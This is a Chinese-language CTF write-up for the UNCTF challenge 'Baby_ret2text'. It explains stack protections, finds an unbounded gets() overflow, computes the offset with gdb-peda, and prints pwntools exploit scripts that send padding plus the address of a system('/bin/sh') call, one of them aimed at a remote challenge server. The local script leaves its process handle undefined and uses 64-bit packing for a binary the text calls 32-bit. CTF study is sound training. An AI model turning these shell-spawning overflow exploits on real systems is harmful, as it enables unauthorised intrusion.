1. 程式人生 > 實用技巧 >UNCTF:Baby_ret2text(棧溢位)

UNCTF:Baby_ret2text(棧溢位)

基本資訊查詢

Stack:這裡沒有開啟Stack保護,如果開啟的話會在棧中的返回地址前放一個隨機值,如果被覆蓋,程式就會報錯退出

NX:沒有開啟,如果開啟的話就不能讓IP暫存器指向堆、棧

這裡顯示這是一個ELF32位的程式

執行後發現需要input

canary(棧保護)

當啟用棧保護後,函式開始執行的時候會先往棧底插入 cookie

資訊,當函式真正返回的時候會驗證 cookie 資訊是否合法 (棧幀銷燬前測試該值是否被改變),如果不合法就停止程式執行

(棧溢位發生)。攻擊者在覆蓋返回地址的時候往往也會將 cookie 資訊給覆蓋掉,導致棧保護檢查失敗而阻止 shellcode

的執行,避免漏洞利用成功。在 Linux 中我們將 cookie 資訊稱為 Canary。

PIE

如果程式開啟了PIE保護的話,在每次載入程式時都變換載入地址

NX(DEP)

NX即No-eXecute(不可執行)的意思,限制一塊記憶體區域不可執行。

ASLR

ASLR(地址隨機化)是一種針對緩衝區溢位的安全保護技術,通過對堆、棧、共享庫對映等線性區佈局的隨機化,通過增加攻擊者預測目的地址的難度,防止攻擊者直接定位攻擊程式碼位置,達到阻止溢位攻擊的目的。

但是,地址隨機化不是對所有模組和記憶體區都進行隨機化!雖然libc、棧、堆的載入位置被隨機化,但主映象不會。


連結:https://www.jianshu.com/p/4231b886ded5

接著使用IDA分析

F5,檢視虛擬碼

發現get函式沒有限制長度,這裡有溢位

接著找到

找到system(“/bin/sh”)地址就可以構造exp

我們這裡知道了gets函式讀取無限制的使用者輸入到棧上,還有get函式的地址,接下來要確認輸入到多少位可以覆蓋到返回地址

建立隨機的字元:

gdb-peda$ pattern_create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'

run執行,然後輸入剛才獲取的字元,程式會報錯

用pattern_offset命令算出偏移(填入報錯的地址):

編寫本地的exp:

from pwn import *
#p=process("/home/luo/pwn/vul")
p.sendline('b'*60 + p64(0x08048503))
p.interactive()

成功後繼續編寫遠端的exp:

#根據題目給的ip和埠遠端連線
from pwn import *
p = remote('120.79.17.251','10001')
p.sendline('b'*60 + p64(0x08048503))
p.interactive()

執行exp: